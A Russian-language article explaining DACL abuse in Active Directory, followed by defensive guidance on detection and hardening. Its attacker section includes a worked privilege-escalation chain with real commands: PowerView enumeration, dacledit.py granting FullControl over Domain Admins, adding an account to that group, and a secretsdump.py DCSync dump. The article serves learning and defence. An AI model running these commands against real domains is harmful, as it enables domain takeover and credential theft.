DACL-атаки в Active Directory - комплексный анализ методов атаки и защиты
DACL (Discretionary Access Control List) атаки представляют собой серьезную угрозу для безопасности Active Directory (AD). Эти атаки позволяют злоумышленникам использовать неправильно настроенные списки контроля доступа для повышения привилегий и получения несанкционированного доступа к критическим ресурсам сети.😳
1. Основы DACL в Active Directory
1.1 Что такое DACL (Discretionary Access Control List) - это список, определяющий, какие субъекты безопасности (пользователи, группы) имеют доступ к объекту и какие действия они могут выполнять. DACL состоит из ACE (Access Control Entries), каждая из которых определяет права доступа для конкретного субъекта.
1.2 Роль DACL в безопасности AD DACL играют ключевую роль в обеспечении безопасности AD, контролируя доступ к объектам, таким как пользователи, группы, компьютеры и другие ресурсы. Неправильно настроенные DACL могут привести к серьезным нарушениям безопасности.
1.3 Типы ACE
ACE (Access Control Entries) - это отдельные записи в DACL, определяющие права доступа. Основные типы ACE включают:
- ACCESS_ALLOWED_ACE: Предоставляет разрешение на определенные действия.
- ACCESS_DENIED_ACE: Явно запрещает определенные действия.
- SYSTEM_AUDIT_ACE: Определяет, какие действия должны быть зарегистрированы в журнале аудита безопасности.
- ACCESS_ALLOWED_OBJECT_ACE: Специфичный для AD тип, позволяющий более детально контролировать доступ к свойствам объектов.
"Объектно-специфичные ACE используются только в Active Directory. В дополнение к членам структуры обычных ACE, объектно-специфичные ACE содержат дополнительные поля, такие как ObjectType (GUID, содержащий тип дочернего объекта, набор свойств или свойство, расширенное право или проверенную запись) и InheritedObjectType (указывает тип дочернего объекта, который может наследовать ACE)."
2. Практический гайд для атакующего
2.1 Инструменты для обнаружения и эксплуатации DACL-уязвимостей:
BloodHound: Визуализация и анализ путей атак в AD
PowerView: Мощный инструмент для перечисления AD
ADACLScanner: Сканирование и анализ DACL объектов AD
Adalanche: Построение графов атак на основе DACL
StandIn: Инструмент для эксплуатации DACL-уязвимостей
Impacket: Набор инструментов для работы с сетевыми протоколами
PowerSploit: Фреймворк для пост-эксплуатации Windows
SharpHound: Сборщик данных для BloodHound
dacledit.py: Инструмент для анализа и модификации DACL
Get-DomainObjectAcl -Identity "CN=Administrator,CN=Users,DC=domain,DC=com" -ResolveGUIDs
.\ADACLScan.ps1 -Base "DC=domain,DC=com" -Output CSV -Filename "acl_scan_results.csv"
python3 dacledit.py -principal user -target "CN=Administrators,CN=Builtin,DC=domain,DC=com" -dc-ip 10.10.10.10 domain.com/user:password
2.2 Техники атаки:
a) Перечисление DACL:
Использование PowerView для получения ACL объектов
Применение ADACLScanner для массового сканирования DACL
Использование dacledit.py для анализа DACL конкретных объектов
b) Анализ путей атак:
Загрузка данных в BloodHound
Использование Adalanche для построения графов атак
Анализ выходных данных dacledit.py для выявления уязвимостей
c) Эксплуатация уязвимостей (Неправильно настроенные DACL):
- WriteDACL: Позволяет изменять DACL целевого объекта, что может быть использовано для предоставления дополнительных прав.
- WriteOwner: Дает возможность изменить владельца объекта, что часто позволяет получить полный контроль над объектом.
- GenericAll: Предоставляет полный контроль над объектом, включая возможность изменения его атрибутов и DACL.
- WriteProperty: Позволяет изменять определенные атрибуты объекта, что может быть использовано, например, для изменения членства в группах.
- ForceChangePassword: Дает возможность принудительно изменить пароль пользователя без знания текущего пароля.
- AddMembers: Позволяет добавлять пользователей в группы, что может быть использовано для повышения привилегий.
- Добавление пользователя в привилегированную группу (например, "Domain Admins") с использованием прав GenericAll или WriteProperty.
- Сброс пароля целевой учетной записи с высокими привилегиями с помощью права ForceChangePassword.
- Использование делегирования Kerberos для получения доступа к ресурсам от имени привилегированного пользователя.
- Применение техники Shadow Credentials для получения доступа к учетным записям путем манипуляции с атрибутом msDS-KeyCredentialLink.
2.3 Пример атаки в полевых условиях:
Первичный доступ: Получение учетных данных рядового пользователя
Перечисление: Использование PowerView и BloodHound для анализа DACL
Import-Module .\PowerView.ps1 Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}
Обнаружение уязвимости: Нахождение объекта с WriteDACL для группы "Domain Admins"
Эксплуатация: Изменение DACL для добавления контроля над группой
python3 dacledit.py -action write -principal attacker -target "CN=Domain Admins,CN=Users,DC=domain,DC=com" -rights FullControl -dc-ip 10.10.10.10 domain.com/compromised_user:password
Повышение привилегий: Добавление своей учетной записи в группу "Domain Admins"
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'attacker' -Verbose
Использование привилегий Domain Admin для полного контроля над AD, например, выполнение DCSync атаки:
secretsdump.py domain.com/attacker:password@10.10.10.10 -just-dc-ntlm
3.1 Инструменты для обнаружения и предотвращения DACL-атак:
- Microsoft Advanced Threat Analytics (ATA): Анализирует поведение пользователей и сущностей для выявления подозрительной активности.
- Varonis DatAdvantage: Предоставляет детальную визуализацию и аудит прав доступа в AD.
- Tenable.ad: Специализированное решение для непрерывного мониторинга безопасности AD.
- PingCastle: Инструмент для оценки уровня безопасности AD, включая анализ DACL.
- Purple Knight: Бесплатный инструмент для аудита безопасности AD.
- Active Directory ACL Scanner: Позволяет сканировать и анализировать DACL в AD.
- Microsoft Defender for Identity: Использует сигналы AD для обнаружения продвинутых угроз.
- Splunk для мониторинга событий AD: Позволяет собирать и анализировать логи событий AD для выявления аномалий.
3.2 Техники защиты:
a) Аудит и мониторинг:
Регулярное сканирование DACL с помощью ADACLScanner
Настройка аудита изменений DACL в групповых политиках
Мониторинг подозрительных изменений DACL с помощью SIEM
Отслеживание событий ID 5136 и 4662 для обнаружения изменений DACL
b) Ограничение прав:
Применение принципа наименьших привилегий
Использование Protected Users group для критических учетных записей
Ограничение делегирования Kerberos
Минимизация использования учетных записей с высокими привилегиями
c) Hardening AD:
Регулярное обновление систем и приложений
Применение рекомендаций Microsoft по безопасности AD
Использование LAPS для управления локальными админ паролями
Внедрение многофакторной аутентификации
Сегментация сети и изоляция критических систем
d) Реагирование на инциденты:
Разработка плана реагирования на DACL-атаки
Подготовка скриптов для быстрого восстановления корректных DACL
Тренировки по обнаружению и нейтрализации DACL-атак
Создание процедур для быстрого отзыва скомпрометированных учетных данных
Заключение
DACL-атаки представляют собой серьезную угрозу для безопасности Active Directory. Атакующие могут использовать различные инструменты и техники для эксплуатации уязвимостей в конфигурации DACL, что потенциально может привести к полному захвату домена. Blue Team должна применять комплексный подход к защите, включающий регулярный аудит, мониторинг, ограничение прав и быстрое реагирование на инциденты. Важно понимать, что безопасность AD - это непрерывный процесс, требующий постоянного внимания и адаптации к новым угрозам.